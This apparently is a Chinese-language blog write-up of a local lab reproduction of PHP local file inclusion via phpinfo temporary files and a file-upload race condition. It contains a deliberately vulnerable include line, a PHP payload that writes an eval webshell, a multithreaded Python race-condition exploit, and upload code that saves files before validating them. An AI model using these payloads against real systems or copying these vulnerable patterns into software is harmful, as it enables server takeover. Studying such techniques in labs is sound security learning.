LFI with phpinfo测试

基础知识

本地文件包含,英文Local File Include,简称LFI。文件包含是一种简化代码、提高代码重用率的方法。但是,由于没有正确处理用户输入,导致本地文件包含漏洞。黑客可以通过漏洞包含非PHP执行文件,如构造包含PHP代码的图片木马、临时文件、session文件、日志等来达到执行PHP代码的目的。

环境

一个简单的文件上传,无任何过滤的页面:

Lfi.php:

<?php include $_GET['file'];

&一个phpinfo页面
docker复现的环境,这里吐槽一下ubantu..

思路

php引擎对表单的处理

以上传文件的方式请求任意PHP文件,服务器都会创建临时文件来保存文件内容
PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下:
1、请求到达;

2、创建临时文件,并写入上传文件的内容;

3、调用相应PHP脚本进行处理,如校验名称、大小等;

4、删除临时文件。

PHP引擎会首先将文件内容保存到临时文件,然后进行相应的操作。对phpinfo.php发起请求,会在/tmp下生成一个临时文件。其中临时文件内容正是我们POST请求中文件内容,临时文件的名称是php+随机数字.tmp,正中本地文件包含痛点。

分块传输

php默认的输出缓冲区大小为4096,也就是四字节,可以理解为php每次返回4096个字节给socket连接

攻击过程

画了一个流程图,利用发送给phpinfo数据包发送给包含点的数据包之间的时间差,来写入一个永久的文件,具体在流程图体现

执行

执行exp

懒得贴图了,看链接吧
PHP文件包含漏洞(利用phpinfo)

相关链接

在实际情况中,如果要修改poc参数,参考链接
LFI with PHPInfo本地测试过程

文件上传竞争

刚才的竞争是数据从socket client到service过程和POST数据到文件包含过程的竞争,借助了文件包含这个点来生成一个webshell,或者执行系统命令的参数。

文件竞争是多线程与服务期间的竞争。首先将文件上传到服务器,然后检测文件后缀名(或者是有害文件),如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。

exp

import os
import requests
import threading

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = "http://127.0.0.1:8080/upload/shell0.php"
        self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print("[*]create file info.php success")
            os._exit(0)

    def _upload(self):
        print("upload file.....")
        file = {"file":open("shell0.php","r")}
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(5):
                self._get()
            for i in range(10):
                self._upload()
                self._get()

if __name__ == "__main__":
    threads = 20

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join()

前端代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="myfile"/>
    <input type="submit" value="上传"/>
</form>
</body>
</html>

后端代码

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['myfile']['name'];

if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
    if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
        die("error:can not move!");
    }
} else {
    die("error:not an upload file!");
}

$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if ($_FILES['myfile']['error'] > 0){
    unlink($newfile);
    die("Upload file error: ");
}

$ext = array_pop(explode(".",$_FILES['myfile']['name']));
if (!in_array($ext,$allowtype)){
    unlink($newfile);
    die("error:upload the file type is not allowed,delete the file!");
}
?>

写在后面

很遗憾,文件上传竞争我没跑出来。最新学一下socket写个py吧,脚本转化能力太菜了

not found!